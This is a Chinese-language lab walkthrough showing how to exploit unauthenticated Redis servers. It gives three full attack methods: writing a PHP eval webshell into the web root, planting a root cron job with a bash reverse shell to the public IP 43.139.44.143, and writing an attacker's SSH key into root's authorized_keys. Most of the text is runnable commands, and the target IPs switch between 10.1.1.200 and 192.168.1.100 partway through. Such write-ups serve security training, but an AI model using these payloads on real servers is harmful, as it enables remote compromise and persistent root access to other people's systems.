redis未授权访问漏洞复现
实验环境
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:Kali、IP地址:10.1.1.100
未授权概述
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
Redis未授权访问
Redis 架构
Redis 客户端 redis-cli Redis
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中。
漏洞发现
Redis 服务默认监听在6379端口上。
Redis常用命令
redis连接远程服务器: redis-cli -h host -p port -a password
set testkey "Hello World" # 设置键testkey的值为字符串
get testkey # 获取键testkey的内容
set score 99 # 设置键score的值为99
incr score # 使用INCR命令将score的值增加1
get score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
Redis未授权访问的三种复现方式
方式一,写入webshell
这个方法的前提条件是:1.知道网站根目录绝对路径。 2.对目标网站根目录有写入权限。
攻击步骤:
1.对目标机器进行信息收集,看看端口是否开放了哪些。直接使用nmap -sV -p- -T4 10.1.1.200
发现目标机器开放80端口,有web服务,直接对其网址目录进行扫描。
通过对网址目录的扫描,发现了有个phpinfo.php页面,说明存在敏感信息泄露,可以知道这个网站是php搭建的,还可以获取到网站根目录绝对路径为/var/www/html。
2.下载Redis客户端连接工具
大家可以自行在网上找来下载,下载完成后,直接解压,编译,编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行。
下面的方法是在公网上下载的步骤,大家有需要可以在自己公网机器上搭建一个。(在自己虚拟机里面搭建也是差不多这样子的步骤)
apt install redis-tools
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0
make
cd src
cp redis-cli /usr/bin
3.连接测试是否可以连接成功,直接redis-cli -h ip -p port
当Ping 出现PONG的时候说明存在漏洞,连接成功
4.进行写入webshell
redis-cli -h 10.1.1.200 -p 6379 //连接
config set dir /var/www/html //定义目录
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save
注意: 不同版本的网站的绝对目录不同,这里是php的,输入dir 命令是放回错误,那就说明输入的网站的目录不正确,不存在这个目录,所以有时候要靠猜目录。
5.webshell写入成功后,去访问看看是否成功。
6.使用webshell管理工具连接目标网站
成功拿下机器
方式二,写定时任务
redis-cli -h 10.1.1.200 -p 6379
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/43.139.44.143/4433 0>&1\n\n"
save
完成后记得save保存下,在攻击机器上监听反弹回来的端口即可。
nc -lvvp 4433
执行下命令,成功拿下。
方式三,写ssh公钥
默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下
我们可以cd /root/.ssh
ls
去进行查看
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m
//以上步骤在自己的攻击机器上执行
redis-cli -h 192.168.1.100 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh-keygen -t rsa 先生成一个公钥
将公钥写入foo.txt文件
使用cat 命令查看是否成功
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m 把写好文件传到给10.1.1.200
进行redis连接,设置备份文件路径和名字。
最后使用ssh连接,直接上线机器
ssh root@10.1.1.200 -i /root/.ssh/id_rsa